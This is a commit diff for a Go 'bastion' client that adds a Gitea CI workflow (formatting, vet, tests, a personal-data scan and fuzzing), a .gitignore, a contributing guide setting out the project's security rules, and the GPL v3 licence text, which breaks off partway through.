bastion 0.53.2
This commit is contained in:
@@ -0,0 +1,124 @@
|
||||
# The checks CONTRIBUTING.md asks for, run on every push to main and every
|
||||
# pull request into main. It holds no secrets: the only credential is the job's
|
||||
# own token, used to fetch the commit under test.
|
||||
#
|
||||
# Every Go step runs in the Go toolchain image deploy/build.sh builds releases
|
||||
# with, pinned by digest, so CI and the release use the same compiler. The
|
||||
# personal-data check is plain Python and runs in the job's own container.
|
||||
# Each container is capped at 6 CPUs, and GOMAXPROCS says so too, so Go does
|
||||
# not schedule more threads than the runner is allowed to use.
|
||||
name: ci
|
||||
|
||||
on:
|
||||
push:
|
||||
branches: [main]
|
||||
pull_request:
|
||||
branches: [main]
|
||||
|
||||
env:
|
||||
GO_IMAGE: golang@sha256:1ae0735f00daffa3aaf1363a5184c0d2dc55c78e3db4ec70241cdac97bf84b59
|
||||
# The pull request's own head, or the pushed commit.
|
||||
WANT: ${{ gitea.event.pull_request.head.sha || gitea.sha }}
|
||||
|
||||
jobs:
|
||||
test:
|
||||
runs-on: platform
|
||||
steps:
|
||||
- name: fetch the commit
|
||||
run: |
|
||||
set -euo pipefail
|
||||
git init -q .
|
||||
git -c http.extraHeader="Authorization: token ${{ gitea.token }}" \
|
||||
fetch -q --depth=1 "${{ gitea.server_url }}/${{ gitea.repository }}.git" "$WANT"
|
||||
git checkout -q --detach FETCH_HEAD
|
||||
test "$(git rev-parse HEAD)" = "$WANT"
|
||||
- name: gofmt, go vet on linux/darwin/windows, build, go test
|
||||
# pdftotext, python3, setpriv and git are what the extract and peer-identity
|
||||
# tests call; without them those tests fail rather than skip. Alpine's
|
||||
# git has no http-backend (it is in git-daemon), which the forge-token
|
||||
# test serves its repository with.
|
||||
# The backup tests check this code against the age command itself: a
|
||||
# pinned age release, its archive checked against the SHA-256 below,
|
||||
# and PRIVATAE_REQUIRE_AGE makes those tests fail rather than skip if
|
||||
# it is missing.
|
||||
run: |
|
||||
docker run --rm --cpus 6 -e GOMAXPROCS=6 -v "$PWD":/src -w /src/client-go \
|
||||
-e GOTOOLCHAIN=local -e CGO_ENABLED=0 -e PRIVATAE_REQUIRE_AGE=1 "$GO_IMAGE" sh -euc '
|
||||
apk add -q --no-cache poppler-utils python3 setpriv curl git git-daemon
|
||||
case "$(uname -m)" in
|
||||
x86_64) a=amd64; sum=cbe24006683f8eb669266162894b9a522a1af52f2665fbc63a4bb032ed26ac10 ;;
|
||||
aarch64) a=arm64; sum=6b8dc4333c53a5a57c9e5834e3a48f92605d7154014cd07269ff3327db5d37f4 ;;
|
||||
*) echo "no pinned age release for $(uname -m)"; exit 1 ;;
|
||||
esac
|
||||
curl -fsSL -o /tmp/age.tgz "https://github.com/FiloSottile/age/releases/download/v1.3.2/age-v1.3.2-linux-$a.tar.gz"
|
||||
echo "$sum /tmp/age.tgz" | sha256sum -c -
|
||||
tar -xzf /tmp/age.tgz -C /tmp age/age
|
||||
export AGE_BIN=/tmp/age/age
|
||||
"$AGE_BIN" --version
|
||||
echo "== gofmt"; out="$(gofmt -l .)"; [ -z "$out" ] || { echo "$out"; exit 1; }
|
||||
for os in linux darwin windows; do echo "== go vet ($os)"; GOOS=$os go vet ./...; done
|
||||
echo "== go build"; go build -o /tmp/privatae-bastion .
|
||||
echo "== go test"; go test -count=1 ./...'
|
||||
- name: the same for deploy/release-sign
|
||||
run: |
|
||||
docker run --rm --cpus 6 -e GOMAXPROCS=6 -v "$PWD":/src -w /src/deploy/release-sign \
|
||||
-e GOTOOLCHAIN=local -e CGO_ENABLED=0 "$GO_IMAGE" sh -euc '
|
||||
out="$(gofmt -l .)"; [ -z "$out" ] || { echo "$out"; exit 1; }
|
||||
for os in linux darwin windows; do GOOS=$os go vet ./...; done
|
||||
go test -count=1 ./...'
|
||||
|
||||
personal-data:
|
||||
runs-on: platform
|
||||
steps:
|
||||
- name: fetch the commit
|
||||
run: |
|
||||
set -euo pipefail
|
||||
git init -q .
|
||||
git -c http.extraHeader="Authorization: token ${{ gitea.token }}" \
|
||||
fetch -q --depth=1 "${{ gitea.server_url }}/${{ gitea.repository }}.git" "$WANT"
|
||||
git checkout -q --detach FETCH_HEAD
|
||||
test "$(git rev-parse HEAD)" = "$WANT"
|
||||
- name: no person's data in the tree
|
||||
# Reads files, runs nothing from the tree. The term check needs the
|
||||
# maintainers' key, which a CI job never holds, so here it is skipped and
|
||||
# the run says so; the entity-id, provenance, email and phone checks run.
|
||||
run: python3 scripts/test_no_personal_data.py
|
||||
- name: no Host source file names in the tree
|
||||
# The member repository publishes this tree as a release was built,
|
||||
# and its release step refuses a path into the Host's Python
|
||||
# (server/... or brain/... .py): this repo has no such files, so the
|
||||
# path can only name another program's source. Checked here, before a
|
||||
# merge, instead of after a release is built and signed. git grep exits
|
||||
# 1 when nothing matches and above 1 when it could not search (no
|
||||
# repository, a pattern it cannot read); only 1 passes.
|
||||
run: |
|
||||
rc=0
|
||||
git grep -nIE 'server/[a-z_/]+\.py|brain/[a-z_/]+\.py' || rc=$?
|
||||
case "$rc" in
|
||||
1) ;;
|
||||
0) echo "these lines name another program's source file; describe it instead" >&2
|
||||
exit 1 ;;
|
||||
*) echo "git grep could not search the tree (exit $rc), so it was not checked" >&2
|
||||
exit 1 ;;
|
||||
esac
|
||||
|
||||
fuzz:
|
||||
needs: test
|
||||
runs-on: platform
|
||||
steps:
|
||||
- name: fetch the commit
|
||||
run: |
|
||||
set -euo pipefail
|
||||
git init -q .
|
||||
git -c http.extraHeader="Authorization: token ${{ gitea.token }}" \
|
||||
fetch -q --depth=1 "${{ gitea.server_url }}/${{ gitea.repository }}.git" "$WANT"
|
||||
git checkout -q --detach FETCH_HEAD
|
||||
test "$(git rev-parse HEAD)" = "$WANT"
|
||||
- name: every fuzz target, 5 seconds each
|
||||
# A short pass on every commit. Run deploy/fuzz.sh with its default of
|
||||
# 20 seconds before changing a wall a host's input goes through.
|
||||
run: |
|
||||
docker run --rm --cpus 6 -e GOMAXPROCS=6 -v "$PWD":/src -w /src \
|
||||
-e GOTOOLCHAIN=local -e CGO_ENABLED=0 "$GO_IMAGE" sh -euc '
|
||||
apk add -q --no-cache bash
|
||||
deploy/fuzz.sh 5'
|
||||
+10
@@ -0,0 +1,10 @@
|
||||
# Build output
|
||||
client-go/dist/
|
||||
client-go/privatae-bastion
|
||||
client-go/privatae-bastion.exe
|
||||
|
||||
# Editor / OS
|
||||
.DS_Store
|
||||
.vscode/
|
||||
.idea/
|
||||
*.swp
|
||||
+1621
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,77 @@
|
||||
# Contributing
|
||||
|
||||
Thank you for looking at the bastion. It is one Go package that ends up on
|
||||
machines people own, so the bar is: nothing lands that widens what a host can
|
||||
do on a machine without the person's grant and, where the design calls for it,
|
||||
their approval on that machine.
|
||||
|
||||
## What you can do today
|
||||
|
||||
Sign-in on this forge is not reachable from the internet, so you cannot file
|
||||
an issue or open a pull request here. You can read, clone, build and verify a
|
||||
release, and fork under the GPL. Report a bug or a security problem by email
|
||||
(see [SECURITY.md](SECURITY.md)).
|
||||
|
||||
## Checks a change has to pass
|
||||
|
||||
```sh
|
||||
cd client-go
|
||||
gofmt -l . # must print nothing
|
||||
go vet ./...
|
||||
CGO_ENABLED=0 go build .
|
||||
go test ./...
|
||||
```
|
||||
|
||||
The backup tests also check this code against the age command itself when
|
||||
one is on PATH or named by `AGE_BIN`; CI installs a pinned age release and
|
||||
sets `PRIVATAE_REQUIRE_AGE`, so there they fail rather than skip.
|
||||
|
||||
The test suite covers all three platforms' parsing and judgement logic from
|
||||
one `go test` on any OS. Platform-specific decisions live in files with no
|
||||
build tag; only the enumerators are tagged. Keep it that way: a new judgement
|
||||
goes in an untagged file with a table test. Check it with
|
||||
`GOOS=windows go vet ./...` and `GOOS=darwin go vet ./...` as well: `go build`
|
||||
does not compile test files, so only vet sees a test that uses a Linux-only
|
||||
name.
|
||||
|
||||
A change to a wall a host's input goes through (a path check, a grant or
|
||||
family check, a signed record's parser) also runs the fuzz targets, and adds
|
||||
one if the wall has none:
|
||||
|
||||
```sh
|
||||
deploy/fuzz.sh # every client-go/fuzz_*_test.go target, 20 seconds each
|
||||
```
|
||||
|
||||
An input the fuzzer finds is written under `client-go/testdata/fuzz/`; commit
|
||||
it with the fix, and every later `go test` runs it.
|
||||
|
||||
## What a change has to respect
|
||||
|
||||
- **The bastion dials out.** No new listener on a non-loopback interface. A
|
||||
new listener inside the tunnel is a capability family with a grant check.
|
||||
- **Fixed argv.** A management op runs a fixed command line. A caller value
|
||||
reaches a program only through a strict charset check and never as part of
|
||||
a shell string.
|
||||
- **No shell in file handlers.** Ops that touch the person's files are Go
|
||||
handlers. The one that runs a program takes a tool name from a fixed table.
|
||||
- **Approval on the machine.** Anything that writes to disk, downloads onto
|
||||
it, or opens a root shell is gated by the enrolled second factor. The host
|
||||
never handles the code.
|
||||
- **Withhold, don't fake.** A platform with no implementation for a capability
|
||||
must not advertise it. The host has to be able to tell quiet from blind.
|
||||
- **Archive, never delete.** There is no delete op on shared stores.
|
||||
|
||||
## Style
|
||||
|
||||
- Comments explain why, in plain words. State the invariant and the failure it
|
||||
prevents. No ticket numbers, no dates, no names.
|
||||
- One package, files named by concern. A new concern gets its own file and
|
||||
its own `_test.go`.
|
||||
- Error text that a person will read is a full sentence saying what was
|
||||
refused and what they can do about it.
|
||||
|
||||
## License
|
||||
|
||||
By contributing you agree that your contribution is licensed under the
|
||||
GNU General Public License, version 3 or later, like the rest of the
|
||||
repository.
|
||||
@@ -0,0 +1,674 @@
|
||||
GNU GENERAL PUBLIC LICENSE
|
||||
Version 3, 29 June 2007
|
||||
|
||||
Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
|
||||
Everyone is permitted to copy and distribute verbatim copies
|
||||
of this license document, but changing it is not allowed.
|
||||
|
||||
Preamble
|
||||
|
||||
The GNU General Public License is a free, copyleft license for
|
||||
software and other kinds of works.
|
||||
|
||||
The licenses for most software and other practical works are designed
|
||||
to take away your freedom to share and change the works. By contrast,
|
||||
the GNU General Public License is intended to guarantee your freedom to
|
||||
share and change all versions of a program--to make sure it remains free
|
||||
software for all its users. We, the Free Software Foundation, use the
|
||||
GNU General Public License for most of our software; it applies also to
|
||||
any other work released this way by its authors. You can apply it to
|
||||
your programs, too.
|
||||
|
||||
When we speak of free software, we are referring to freedom, not
|
||||
price. Our General Public Licenses are designed to make sure that you
|
||||
have the freedom to distribute copies of free software (and charge for
|
||||
them if you wish), that you receive source code or can get it if you
|
||||
want it, that you can change the software or use pieces of it in new
|
||||
free programs, and that you know you can do these things.
|
||||
|
||||
To protect your rights, we need to prevent others from denying you
|
||||
these rights or asking you to surrender the rights. Therefore, you have
|
||||
certain responsibilities if you distribute copies of the software, or if
|
||||
you modify it: responsibilities to respect the freedom of others.
|
||||
|
||||
For example, if you distribute copies of such a program, whether
|
||||
gratis or for a fee, you must pass on to the recipients the same
|
||||
freedoms that you received. You must make sure that they, too, receive
|
||||
or can get the source code. And you must show them these terms so they
|
||||
know their rights.
|
||||
|
||||
Developers that use the GNU GPL protect your rights with two steps:
|
||||
(1) assert copyright on the software, and (2) offer you this License
|
||||
giving you legal permission to copy, distribute and/or modify it.
|
||||
|
||||
For the developers' and authors' protection, the GPL clearly explains
|
||||
that there is no warranty for this free software. For both users' and
|
||||
authors' sake, the GPL requires that modified versions be marked as
|
||||
changed, so that their problems will not be attributed erroneously to
|
||||
authors of previous versions.
|
||||
|
||||
Some devices are designed to deny users access to install or run
|
||||
modified versions of the software inside them, although the manufacturer
|
||||
can do so. This is fundamentally incompatible with the aim of
|
||||
protecting users' freedom to change the software. The systematic
|
||||
pattern of such abuse occurs in the area of products for individuals to
|
||||
use, which is precisely where it is most unacceptable. Therefore, we
|
||||
have designed this version of the GPL to prohibit the practice for those
|
||||
products. If such problems arise substantially in other domains, we
|
||||
stand ready to extend this provision to those domains in future versions
|
||||
of the GPL, as needed to protect the freedom of users.
|
||||
|
||||
Finally, every program is threatened constantly by software patents.
|
||||
States should not allow patents to restrict development and use of
|
||||
software on general-purpose computers, but in those that do, we wish to
|
||||
avoid the special danger that patents applied to a free program could
|
||||
make it effectively proprietary. To prevent this, the GPL assures that
|
||||
patents cannot be used to render the program non-free.
|
||||
|
||||
The precise terms and conditions for copying, distribution and
|
||||
modification follow.
|
||||
|
||||
TERMS AND CONDITIONS
|
||||
|
||||
0. Definitions.
|
||||
|
||||
"This License" refers to version 3 of the GNU General Public License.
|
||||
|
||||
"Copyright" also means copyright-like laws that apply to other kinds of
|
||||
works, such as semiconductor masks.
|
||||
|
||||
"The Program" refers to any copyrightable work licensed under this
|
||||
License. Each licensee is addressed as "you". "Licensees" and
|
||||
"recipients" may be individuals or organizations.
|
||||
|
||||
To "modify" a work means to copy from or adapt all or part of the work
|
||||
in a fashion requiring copyright permission, other than the making of an
|
||||
exact copy. The resulting work is called a "modified version" of the
|
||||
earlier work or a work "based on" the earlier work.
|
||||
|
||||
A "covered work" means either the unmodified Program or a work based
|
||||
on the Program.
|
||||
|
||||
To "propagate" a work means to do anything with it that, without
|
||||
permission, would make you directly or secondarily liable for
|
||||
infringement under applicable copyright law, except executing it on a
|
||||
computer or modifying a private copy. Propagation includes copying,
|
||||
distribution (with or without modification), making available to the
|
||||
public, and in some countries other activities as well.
|
||||
|
||||
To "convey" a work means any kind of propagation that enables other
|
||||
parties to make or receive copies. Mere interaction with a user through
|
||||
a computer network, with no transfer of a copy, is not conveying.
|
||||
|
||||
An interactive user interface displays "Appropriate Legal Notices"
|
||||
to the extent that it includes a convenient and prominently visible
|
||||
feature that (1) displays an appropriate copyright notice, and (2)
|
||||
tells the user that there is no warranty for the work (except to the
|
||||
extent that warranties are provided), that licensees may convey the
|
||||
work under this License, and how to view a copy of this License. If
|
||||
the interface presents a list of user commands or options, such as a
|
||||
menu, a prominent item in the list meets this criterion.
|
||||
|
||||
1. Source Code.
|
||||
|
||||
The "source code" for a work means the preferred form of the work
|
||||
for making modifications to it. "Object code" means any non-source
|
||||
form of a work.
|
||||
|
||||
A "Standard Interface" means an interface that either is an official
|
||||
standard defined by a recognized standards body, or, in the case of
|
||||
interfaces specified for a particular programming language, one that
|
||||
is widely used among developers working in that language.
|
||||
|
||||
The "System Libraries" of an executable work include anything, other
|
||||
than the work as a whole, that (a) is included in the normal form of
|
||||
packaging a Major Component, but which is not part of that Major
|
||||
Component, and (b) serves only to enable use of the work with that
|
||||
Major Component, or to implement a Standard Interface for which an
|
||||
implementation is available to the public in source code form. A
|
||||
"Major Component", in this context, means a major essential component
|
||||
(kernel, window system, and so on) of the specific operating system
|
||||
(if any) on which the executable work runs, or a compiler used to
|
||||
produce the work, or an object code interpreter used to run it.
|
||||
|
||||
The "Corresponding Source" for a work in object code form means all
|
||||
the source code needed to generate, install, and (for an executable
|
||||
work) run the object code and to modify the work, including scripts to
|
||||
control those activities. However, it does not include the work's
|
||||
System Libraries, or general-purpose tools or generally available free
|
||||
programs which are used unmodified in performing those activities but
|
||||
which are not part of the work. For example, Corresponding Source
|
||||
includes interface definition files associated with source files for
|
||||
the work, and the source code for shared libraries and dynamically
|
||||
linked subprograms that the work is specifically designed to require,
|
||||
such as by intimate data communication or control flow between those
|
||||
subprograms and other parts of the work.
|
||||
|
||||
The Corresponding Source need not include anything that users
|
||||
can regenerate automatically from other parts of the Corresponding
|
||||
Source.
|
||||
|
||||
The Corresponding Source for a work in source code form is that
|
||||
same work.
|
||||
|
||||
2. Basic Permissions.
|
||||
|
||||
All rights granted under this License are granted for the term of
|
||||
copyright on the Program, and are irrevocable provided the stated
|
||||
conditions are met. This License explicitly affirms your unlimited
|
||||
permission to run the unmodified Program. The output from running a
|
||||
covered work is covered by this License only if the output, given its
|
||||
content, constitutes a covered work. This License acknowledges your
|
||||
rights of fair use or other equivalent, as provided by copyright law.
|
||||
|
||||
You may make, run and propagate covered works that you do not
|
||||
convey, without conditions so long as your license otherwise remains
|
||||
in force. You may convey covered works to others for the sole purpose
|
||||
of having them make modifications exclusively for you, or provide you
|
||||
with facilities for running those works, provided that you comply with
|
||||
the terms of this License in conveying all material for which you do
|
||||
not control copyright. Those thus making or running the covered works
|
||||
for you must do so exclusively on your behalf, under your direction
|
||||
and control, on terms that prohibit them from making any copies of
|
||||
your copyrighted material outside their relationship with you.
|
||||
|
||||
Conveying under any other circumstances is permitted solely under
|
||||
the conditions stated below. Sublicensing is not allowed; section 10
|
||||
makes it unnecessary.
|
||||
|
||||
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
|
||||
|
||||
No covered work shall be deemed part of an effective technological
|
||||
measure under any applicable law fulfilling obligations under article
|
||||
11 of the WIPO copyright treaty adopted on 20 December 1996, or
|
||||
similar laws prohibiting or restricting circumvention of such
|
||||
measures.
|
||||
|
||||
When you convey a covered work, you waive any legal power to forbid
|
||||
circumvention of technological measures to the extent such circumvention
|
||||
is effected by exercising rights under this License with respect to
|
||||
the covered work, and you disclaim any intention to limit operation or
|
||||
modification of the work as a means of enforcing, against the work's
|
||||
users, your or third parties' legal rights to forbid circumvention of
|
||||
technological measures.
|
||||
|
||||
4. Conveying Verbatim Copies.
|
||||
|
||||
You may convey verbatim copies of the Program's source code as you
|
||||
receive it, in any medium, provided that you conspicuously and
|
||||
appropriately publish on each copy an appropriate copyright notice;
|
||||
keep intact all notices stating that this License and any
|
||||
non-permissive terms added in accord with section 7 apply to the code;
|
||||
keep intact all notices of the absence of any warranty; and give all
|
||||
recipients a copy of this License along with the Program.
|
||||
|
||||
You may charge any price or no price for each copy that you convey,
|
||||
and you may offer support or warranty protection for a fee.
|
||||
|
||||
5. Conveying Modified Source Versions.
|
||||
|
||||
You may convey a work based on the Program, or the modifications to
|
||||
produce it from the Program, in the form of source code under the
|
||||
terms of section 4, provided that you also meet all of these conditions:
|
||||
|
||||
a) The work must carry prominent notices stating that you modified
|
||||
it, and giving a relevant date.
|
||||
|
||||
b) The work must carry prominent notices stating that it is
|
||||
released under this License and any conditions added under section
|
||||
7. This requirement modifies the requirement in section 4 to
|
||||
"keep intact all notices".
|
||||
|
||||
c) You must license the entire work, as a whole, under this
|
||||
License to anyone who comes into possession of a copy. This
|
||||
License will therefore apply, along with any applicable section 7
|
||||
additional terms, to the whole of the work, and all its parts,
|
||||
regardless of how they are packaged. This License gives no
|
||||
permission to license the work in any other way, but it does not
|
||||
invalidate such permission if you have separately received it.
|
||||
|
||||
d) If the work has interactive user interfaces, each must display
|
||||
Appropriate Legal Notices; however, if the Program has interactive
|
||||
interfaces that do not display Appropriate Legal Notices, your
|
||||
work need not make them do so.
|
||||
|
||||
A compilation of a covered work with other separate and independent
|
||||
works, which are not by their nature extensions of the covered work,
|
||||
and which are not combined with it such as to form a larger program,
|
||||
in or on a volume of a storage or distribution medium, is called an
|
||||
"aggregate" if the compilation and its resulting copyright are not
|
||||
used to limit the access or legal rights of the compilation's users
|
||||
beyond what the individual works permit. Inclusion of a covered work
|
||||
in an aggregate does not cause this License to apply to the other
|
||||
parts of the aggregate.
|
||||
|
||||
6. Conveying Non-Source Forms.
|
||||
|
||||
You may convey a covered work in object code form under the terms
|
||||
of sections 4 and 5, provided that you also convey the
|
||||
machine-readable Corresponding Source under the terms of this License,
|
||||
in one of these ways:
|
||||
|
||||
a) Convey the object code in, or embodied in, a physical product
|
||||
(including a physical distribution medium), accompanied by the
|
||||
Corresponding Source fixed on a durable physical medium
|
||||
customarily used for software interchange.
|
||||
|
||||
b) Convey the object code in, or embodied in, a physical product
|
||||
(including a physical distribution medium), accompanied by a
|
||||
written offer, valid for at least three years and valid for as
|
||||
long as you offer spare parts or customer support for that product
|
||||
model, to give anyone who possesses the object code either (1) a
|
||||
copy of the Corresponding Source for all the software in the
|
||||
product that is covered by this License, on a durable physical
|
||||
medium customarily used for software interchange, for a price no
|
||||
more than your reasonable cost of physically performing this
|
||||
conveying of source, or (2) access to copy the
|
||||
Corresponding Source from a network server at no charge.
|
||||
|
||||
c) Convey individual copies of the object code with a copy of the
|
||||
written offer to provide the Corresponding Source. This
|
||||
alternative is allowed only occasionally and noncommercially, and
|
||||
only if you received the object code with such an offer, in accord
|
||||
with subsection 6b.
|
||||
|
||||
d) Convey the object code by offering access from a designated
|
||||
place (gratis or for a charge), and offer equivalent access to the
|
||||
Corresponding Source in the same way through the same place at no
|
||||
further charge. You need not require recipients to copy the
|
||||
Corresponding Source along with the object code. If the place to
|
||||
copy the object code is a network server, the Corresponding Source
|
||||
may be on a different server (operated by you or a third party)
|
||||
that supports equivalent copying facilities, provided you maintain
|
||||
clear directions next to the object code saying where to find the
|
||||
Corresponding Source. Regardless of what server hosts the
|
||||
Corresponding Source, you remain obligated to ensure that it is
|
||||
available for as long as needed to satisfy these requirements.
|
||||
|
||||
e) Convey the object code using peer-to-peer transmission, provided
|
||||
you inform other peers where the object code and Corresponding
|
||||
Source of the work are being offered to the general public at no
|
||||
charge under subsection 6d.
|
||||
|
||||
A separable portion of the object code, whose source code is excluded
|
||||
from the Corresponding Source as a System Library, need not be
|
||||
included in conveying the object code work.
|
||||
|
||||
A "User Product" is either (1) a "consumer product", which means any
|
||||
tangible personal property which is normally used for personal, family,
|
||||
or household purposes, or (2) anything designed or sold for incorporation
|
||||
into a dwelling. In determining whether a product is a consumer product,
|
||||
doubtful cases shall be resolved in favor of coverage. For a particular
|
||||
product received by a particular user, "normally used" refers to a
|
||||
typical or common use of that class of product, regardless of the status
|
||||
of the particular user or of the way in which the particular user
|
||||
actually uses, or expects or is expected to use, the product. A product
|
||||
is a consumer product regardless of whether the product has substantial
|
||||
commercial, industrial or non-consumer uses, unless such uses represent
|
||||
the only significant mode of use of the product.
|
||||
|
||||
"Installation Information" for a User Product means any methods,
|
||||
procedures, authorization keys, or other information required to install
|
||||
and execute modified versions of a covered work in that User Product from
|
||||
a modified version of its Corresponding Source. The information must
|
||||
suffice to ensure that the continued functioning of the modified object
|
||||
code is in no case prevented or interfered with solely because
|
||||
modification has been made.
|
||||
|
||||
If you convey an object code work under this section in, or with, or
|
||||
specifically for use in, a User Product, and the conveying occurs as
|
||||
part of a transaction in which the right of possession and use of the
|
||||
User Product is transferred to the recipient in perpetuity or for a
|
||||
fixed term (regardless of how the transaction is characterized), the
|
||||
Corresponding Source conveyed under this section must be accompanied
|
||||
by the Installation Information. But this requirement does not apply
|
||||
if neither you nor any third party retains the ability to install
|
||||
modified object code on the User Product (for example, the work has
|
||||
been installed in ROM).
|
||||
|
||||
The requirement to provide Installation Information does not include a
|
||||
requirement to continue to provide support service, warranty, or updates
|
||||
for a work that has been modified or installed by the recipient, or for
|
||||
the User Product in which it has been modified or installed. Access to a
|
||||
network may be denied when the modification itself materially and
|
||||
adversely affects the operation of the network or violates the rules and
|
||||
protocols for communication across the network.
|
||||
|
||||
Corresponding Source conveyed, and Installation Information provided,
|
||||
in accord with this section must be in a format that is publicly
|
||||
documented (and with an implementation available to the public in
|
||||
source code form), and must require no special password or key for
|
||||
unpacking, reading or copying.
|
||||
|
||||
7. Additional Terms.
|
||||
|
||||
"Additional permissions" are terms that supplement the terms of this
|
||||
License by making exceptions from one or more of its conditions.
|
||||
Additional permissions that are applicable to the entire Program shall
|
||||
be treated as though they were included in this License, to the extent
|
||||
that they are valid under applicable law. If additional permissions
|
||||
apply only to part of the Program, that part may be used separately
|
||||
under those permissions, but the entire Program remains governed by
|
||||
this License without regard to the additional permissions.
|
||||
|
||||
When you convey a copy of a covered work, you may at your option
|
||||
remove any additional permissions from that copy, or from any part of
|
||||
it. (Additional permissions may be written to require their own
|
||||
removal in certain cases when you modify the work.) You may place
|
||||
additional permissions on material, added by you to a covered work,
|
||||
for which you have or can give appropriate copyright permission.
|
||||
|
||||
Notwithstanding any other provision of this License, for material you
|
||||
add to a covered work, you may (if authorized by the copyright holders of
|
||||
that material) supplement the terms of this License with terms:
|
||||
|
||||
a) Disclaiming warranty or limiting liability differently from the
|
||||
terms of sections 15 and 16 of this License; or
|
||||
|
||||
b) Requiring preservation of specified reasonable legal notices or
|
||||
author attributions in that material or in the Appropriate Legal
|
||||
Notices displayed by works containing it; or
|
||||
|
||||
c) Prohibiting misrepresentation of the origin of that material, or
|
||||
requiring that modified versions of such material be marked in
|
||||
reasonable ways as different from the original version; or
|
||||
|
||||
d) Limiting the use for publicity purposes of names of licensors or
|
||||
authors of the material; or
|
||||
|
||||
e) Declining to grant rights under trademark law for use of some
|
||||
trade names, trademarks, or service marks; or
|
||||
|
||||
f) Requiring indemnification of licensors and authors of that
|
||||
material by anyone who conveys the material (or modified versions of
|
||||
it) with contractual assumptions of liability to the recipient, for
|
||||
any liability that these contractual assumptions directly impose on
|
||||
those licensors and authors.
|
||||
|
||||
All other non-permissive additional terms are considered "further
|
||||
restrictions" within the meaning of section 10. If the Program as you
|
||||
received it, or any part of it, contains a notice stating that it is
|
||||
governed by this License along with a term that is a further
|
||||
restriction, you may remove that term. If a license document contains
|
||||
a further restriction but permits relicensing or conveying under this
|
||||
License, you may add to a covered work material governed by the terms
|
||||
of that license document, provided that the further restriction does
|
||||
not survive such relicensing or conveying.
|
||||
|
||||
If you add terms to a covered work in accord with this section, you
|
||||
must place, in the relevant source files, a statement of the
|
||||
additional terms that apply to those files, or a notice indicating
|
||||
where to find the applicable terms.
|
||||
|
||||
Additional terms, permissive or non-permissive, may be stated in the
|
||||
form of a separately written license, or stated as exceptions;
|
||||
the above requirements apply either way.
|
||||
|
||||
8. Termination.
|
||||
|
||||
You may not propagate or modify a covered work except as expressly
|
||||
provided under this License. Any attempt otherwise to propagate or
|
||||
modify it is void, and will automatically terminate your rights under
|
||||
this License (including any patent licenses granted under the third
|
||||
paragraph of section 11).
|
||||
|
||||
However, if you cease all violation of this License, then your
|
||||
license from a particular copyright holder is reinstated (a)
|
||||
provisionally, unless and until the copyright holder explicitly and
|
||||
finally terminates your license, and (b) permanently, if the copyright
|
||||
holder fails to notify you of the violation by some reasonable means
|
||||
prior to 60 days after the cessation.
|
||||
|
||||
Moreover, your license from a particular copyright holder is
|
||||
reinstated permanently if the copyright holder notifies you of the
|
||||
violation by some reasonable means, this is the first time you have
|
||||
received notice of violation of this License (for any work) from that
|
||||
copyright holder, and you cure the violation prior to 30 days after
|
||||
your receipt of the notice.
|
||||
|
||||
Termination of your rights under this section does not terminate the
|
||||
licenses of parties who have received copies or rights from you under
|
||||
this License. If your rights have been terminated and not permanently
|
||||
reinstated, you do not qualify to receive new licenses for the same
|
||||
material under section 10.
|
||||
|
||||
9. Acceptance Not Required for Having Copies.
|
||||
|
||||
You are not required to accept this License in order to receive or
|
||||
run a copy of the Program. Ancillary propagation of a covered work
|
||||
occurring solely as a consequence of using peer-to-peer transmission
|
||||
to receive a copy likewise does not require acceptance. However,
|
||||
nothing other than this License grants you permission to propagate or
|
||||
modify any covered work. These actions infringe copyright if you do
|
||||
not accept this License. Therefore, by modifying or propagating a
|
||||
covered work, you indicate your acceptance of this License to do so.
|
||||
|
||||
10. Automatic Licensing of Downstream Recipients.
|
||||
|
||||
Each time you convey a covered work, the recipient automatically
|
||||
receives a license from the original licensors, to run, modify and
|
||||
propagate that work, subject to this License. You are not responsible
|
||||
for enforcing compliance by third parties with this License.
|
||||
|
||||
An "entity transaction" is a transaction transferring control of an
|
||||
organization, or substantially all assets of one, or subdividing an
|
||||
organization, or merging organizations. If propagation of a covered
|
||||
work results from an entity transaction, each party to that
|
||||
transaction who receives a copy of the work also receives whatever
|
||||
licenses to the work the party's predecessor in interest had or could
|
||||
give under the previous paragraph, plus a right to possession of the
|
||||
Corresponding Source of the work from the predecessor in interest, if
|
||||
the predecessor has it or can get it with reasonable efforts.
|
||||
|
||||
You may not impose any further restrictions on the exercise of the
|
||||
rights granted or affirmed under this License. For example, you may
|
||||
not impose a license fee, royalty, or other charge for exercise of
|
||||
rights granted under this License, and you may not initiate litigation
|
||||
(including a cross-claim or counterclaim in a lawsuit) alleging that
|
||||
any patent claim is infringed by making, using, selling, offering for
|
||||
sale, or importing the Program or any portion of it.
|
||||
|
||||
11. Patents.
|
||||
|
||||
A "contributor" is a copyright holder who authorizes use under this
|
||||
License of the Program or a work on which the Program is based. The
|
||||
work thus licensed is called the contributor's "contributor version".
|
||||
|
||||
A contributor's "essential patent claims" are all patent claims
|
||||
owned or controlled by the contributor, whether already acquired or
|
||||
hereafter acquired, that would be infringed by some manner, permitted
|
||||
by this License, of making, using, or selling its contributor version,
|
||||
but do not include claims that would be infringed only as a
|
||||
consequence of further modification of the contributor version. For
|
||||
purposes of this definition, "control" includes the right to grant
|
||||
patent sublicenses in a manner consistent with the requirements of
|
||||
this License.
|
||||
|
||||
Each contributor grants you a non-exclusive, worldwide, royalty-free
|
||||
patent license under the contributor's essential patent claims, to
|
||||
make, use, sell, offer for sale, import and otherwise run, modify and
|
||||
propagate the contents of its contributor version.
|
||||
|
||||
In the following three paragraphs, a "patent license" is any express
|
||||
agreement or commitment, however denominated, not to enforce a patent
|
||||
(such as an express permission to practice a patent or covenant not to
|
||||
sue for patent infringement). To "grant" such a patent license to a
|
||||
party means to make such an agreement or commitment not to enforce a
|
||||
patent against the party.
|
||||
|
||||
If you convey a covered work, knowingly relying on a patent license,
|
||||
and the Corresponding Source of the work is not available for anyone
|
||||
to copy, free of charge and under the terms of this License, through a
|
||||
publicly available network server or other readily accessible means,
|
||||
then you must either (1) cause the Corresponding Source to be so
|
||||
available, or (2) arrange to deprive yourself of the benefit of the
|
||||
patent license for this particular work, or (3) arrange, in a manner
|
||||
consistent with the requirements of this License, to extend the patent
|
||||
license to downstream recipients. "Knowingly relying" means you have
|
||||
actual knowledge that, but for the patent license, your conveying the
|
||||
covered work in a country, or your recipient's use of the covered work
|
||||
in a country, would infringe one or more identifiable patents in that
|
||||
